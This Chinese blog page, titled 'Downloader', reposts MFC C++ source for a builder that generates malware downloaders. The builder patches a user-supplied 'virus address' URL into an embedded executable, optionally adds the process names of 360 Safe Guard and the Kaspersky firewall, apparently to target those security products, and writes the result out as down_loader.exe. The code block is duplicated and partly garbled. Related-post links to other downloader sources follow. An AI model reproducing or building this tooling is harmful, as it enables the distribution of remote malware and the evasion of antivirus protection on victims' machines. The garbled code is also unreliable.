下载者
来源:互联网 发布:模糊k均值聚类算法 编辑:程序博客网 时间:2024/05/01 15:54
CString sz1,sz2;
sz1=(((CButton*)(GetDlgItem(IDC_CHECK1)))->GetCheck()&1)?"360tray.exe":"";//判断选项1是否被选
sz2=(((CButton*)(GetDlgItem(IDC_CHECK2)))->GetCheck()&1)?"KAVPF.exe":"";//判断选项2是否被选
char url[52];
memset(url,0,52);
if(m_url=="") //url是网路上病毒的地址
{
MessageBox("请填写病毒地址");
return;
HGLOBAL hresdata; //Handle to a global memory block.
DWORD dwsize,dwwritten;
LPBYTE p; //对字节的长指针
HANDLE hfile;
hres=FindResource(NULL,MAKEINTRESOURCE(IDR_EXE),"EXE");//查找资源返回指定资源的句柄
if(hres==NULL)
return;
if(hresdata==NULL)
return;
p=(LPBYTE)GlobalAlloc(GPTR,dwsize); //分配全局内存GPTR初始化为0并且具有默认属性。dwsize是大小
if(p==NULL)
return;
CopyMemory((LPVOID)p,(LPCVOID)LockResource(hresdata),dwsize);
//copymemory(des,obj,size) des:新的位置,obj原始地址,size拷贝的大小。
CopyMemory((LPVOID)(p+0x2001c),(LPCVOID)url,52);//将用户输入的网站地址写入Downloader
if(sz1!="")
CopyMemory((LPVOID)(p+0x2007c),(LPCVOID)sz1,15);//如果用户选择了选项1,则将360安全卫士的进程名写入Downloader
if(sz2!="")
CopyMemory((LPVOID)(p+0x20068),(LPCVOID)sz2,14);//如果用户选择了选项2,则将卡巴防火墙的进程名写入Downloader
char path[256];
GetCurrentDirectory(256,path); //得到当前程序运行的路径放在PATH中,
strcat(path,"\\down_loader.exe");//在程序目录下生成Downloader,名为“down_loader.exe”
DeleteFile(path);
hfile=CreateFile(path,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL); //创建文件,0KB大小
if(hfile==NULL)
return;
WriteFile(hfile,(LPVOID)p,dwsize,&dwwritten,NULL); //写文件
sz1=(((CButton*)(GetDlgItem(IDC_CHECK1)))->GetCheck()&1)?"360tray.exe":"";//判断选项1是否被选
sz2=(((CButton*)(GetDlgItem(IDC_CHECK2)))->GetCheck()&1)?"KAVPF.exe":"";//判断选项2是否被选
char url[52];
memset(url,0,52);
if(m_url=="") //url是网路上病毒的地址
{
MessageBox("请填写病毒地址");
return;
}
sprintf(url,"%s",m_url);HRSRC hres; //Handle to a resource.
HGLOBAL hresdata; //Handle to a global memory block.
DWORD dwsize,dwwritten;
LPBYTE p; //对字节的长指针
HANDLE hfile;
hres=FindResource(NULL,MAKEINTRESOURCE(IDR_EXE),"EXE");//查找资源返回指定资源的句柄
if(hres==NULL)
return;
dwsize=SizeofResource(NULL,hres); //资源大小hresdata=LoadResource(NULL,hres); //加载资源(DLL,EXE)其他的什么到全局内存中,返回资源的指针
if(hresdata==NULL)
return;
p=(LPBYTE)GlobalAlloc(GPTR,dwsize); //分配全局内存GPTR初始化为0并且具有默认属性。dwsize是大小
if(p==NULL)
return;
CopyMemory((LPVOID)p,(LPCVOID)LockResource(hresdata),dwsize);
//copymemory(des,obj,size) des:新的位置,obj原始地址,size拷贝的大小。
CopyMemory((LPVOID)(p+0x2001c),(LPCVOID)url,52);//将用户输入的网站地址写入Downloader
if(sz1!="")
CopyMemory((LPVOID)(p+0x2007c),(LPCVOID)sz1,15);//如果用户选择了选项1,则将360安全卫士的进程名写入Downloader
if(sz2!="")
CopyMemory((LPVOID)(p+0x20068),(LPCVOID)sz2,14);//如果用户选择了选项2,则将卡巴防火墙的进程名写入Downloader
char path[256];
GetCurrentDirectory(256,path); //得到当前程序运行的路径放在PATH中,
strcat(path,"\\down_loader.exe");//在程序目录下生成Downloader,名为“down_loader.exe”
DeleteFile(path);
hfile=CreateFile(path,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL); //创建文件,0KB大小
if(hfile==NULL)
return;
WriteFile(hfile,(LPVOID)p,dwsize,&dwwritten,NULL); //写文件
CloseHandle(hfile);
装载指定EXE:
BOOL LoadSource(UINT resoure_id , const char * type , const char * filepath)
{
//获得资源指针
HRSRC hRsrc = ::FindResource( NULL , MAKEINTRESOURCE( resoure_id ) , type );
if( hRsrc )
{ //获得资源大小
DWORD size = ::SizeofResource( NULL , hRsrc );
//将资源载入内存
HGLOBAL handle = ::LoadResource( NULL , hRsrc );
//写入文件
if( handle )
{ //定位资源位置
BYTE *MemPtr = (BYTE *)LockResource( handle );
CFile file;
if( file.Open( filepath , CFile::modeCreate | CFile::modeWrite ) )
{
file.Write( MemPtr , size );
file.Close( );
}
::UnlockResource( handle );
}
::FreeResource( handle );
return TRUE;
}
return FALSE;
}
- 下载者
- 下载者
- 某下载者的下载接管
- vbs下载者和powershell下载器
- dll下载者~~
- 下载者+(原代码)
- XML下载者
- 下载者的新思路
- VC 下载者
- VC 下载者
- 一个下载者代码
- C++下载者源码
- VBS下载者
- VBS下载者
- 简单下载者学习
- 下载
- 下载
- 下载
- SQL Server 2008性能监视和优化工具
- 深入浅出之正则表达式(一)
- curl 笔记, 记录一下,有空再整理一下
- iphone开发每日一练1【2011-09-06】
- Flex开发环境,开发工具,开发框架总结
- 下载者
- conversion to dalvik format failed with error 1的解决办法
- MIB_IPNETROW Structure
- 字符编码笔记:ASCII,Unicode和UTF-8
- python3之交互提示下编写代码
- ubuntu中解压zip文件时乱码的问题 && pdf中文乱码问题
- 深入浅出之正则表达式(二)
- Times New Roman字体的历史
- TestNG相关文档